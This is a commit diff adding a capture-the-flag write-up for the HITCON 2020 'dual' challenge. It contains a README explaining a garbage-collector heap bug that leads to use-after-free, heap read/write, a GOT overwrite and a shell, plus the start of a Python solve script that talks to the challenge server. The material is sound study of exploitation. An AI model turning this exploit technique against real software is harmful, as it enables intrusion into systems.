Skip to content

Commit 2fc528d

Browse files
committed
HITCON 2020: update dual
1 parent a0183e5 commit 2fc528d

File tree

2 files changed

+60
-1
lines changed

2 files changed

+60
-1
lines changed

2020/HITCON/dual/README.md

+17-1
Original file line numberDiff line numberDiff line change
@@ -1,3 +1,19 @@
11
# dual
22

3-
Read [solve.py](./solve.py)
3+
`dual` mixes C's malloc/free, C++'s new/delete, Rust's alloc::RawVec/core::ptr::Unique and a handmade GC all in one program,
4+
with some fun results.
5+
6+
In particular: when we write a zero length binary to a node, it will be encoded to zero length base64 string, which will be copied
7+
to a alloc::RawVec. Unlike `malloc(0)`, which points into the heap, a zero length `RawVec<u8>`'s pointer will be `core::ptr::Unique<u8>::dangling()`, which is equal to `1`.
8+
The garbage collector will intepret this slot as free (since `1 < 8`) and will happily put a node pointer into it.
9+
This way we can overlap a node chunk and a text chunk.
10+
11+
# Exploit
12+
After overlapping a node (call it X) and a zero length text, the GC will scan the chunk first as a text and
13+
when it comes to scan it as a node, it will not follow any pointer's going from it, as it
14+
was already marked as visited.
15+
This will cause UAF on X's child nodes.
16+
Then we allocate another text chunk to write a fake node and get heap read/write.
17+
Finaly, we write a pointer to GOT into GC's pool, poison GOT, and get a shell.
18+
19+
See [solve.py](./solve.py).

2020/HITCON/dual/solve.py

+43
Original file line numberDiff line numberDiff line change
@@ -1,3 +1,46 @@
1+
from braindead import *
2+
log.enable()
3+
args = Args()
4+
args.parse()
5+
6+
#r = io.process(['./dual'])
7+
r = io.connect(('13.231.226.137', 9573))
8+
9+
def create(pred):
10+
r.sla('op>\n', '1')
11+
r.sla('pred_id>\n', str(pred))
12+
return int(r.rl().decode())
13+
14+
def conn(pred, succ):
15+
r.sla('op>\n', '2')
16+
r.sla('pred_id>\n', str(pred))
17+
r.sla('succ_id>\n', str(succ))
18+
19+
def disc(pred, succ):
20+
r.sla('op>\n', '3')
21+
r.sla('pred_id>\n', str(pred))
22+
r.sla('succ_id>\n', str(succ))
23+
24+
def write_text(node_id, text):
25+
r.sla('op>\n', '4')
26+
r.sla('node_id>\n', str(node_id))
27+
r.sla('text_len>\n', str(len(text)))
28+
r.sa('text>\n', text)
29+
30+
def write_bin(node_id, bin):
31+
r.sla('op>\n', '5')
32+
r.sla('node_id>\n', str(node_id))
33+
r.sla('bin_len>\n', str(len(bin)))
34+
r.sa('bin>\n', bin)
35+
36+
def read_text(node_id, text_len):
37+
r.sla('op>\n', '6')
38+
r.sla('node_id>\n', str(node_id))
39+
return r.recvn(text_len)
40+
41+
def run_gc():
42+
r.sla('op>\n', '7')
43+
144
victimizer = create(0) # @1
245
pepega = create(0) # @2
346
write_bin(pepega, "") # @3

0 commit comments

Comments
 (0)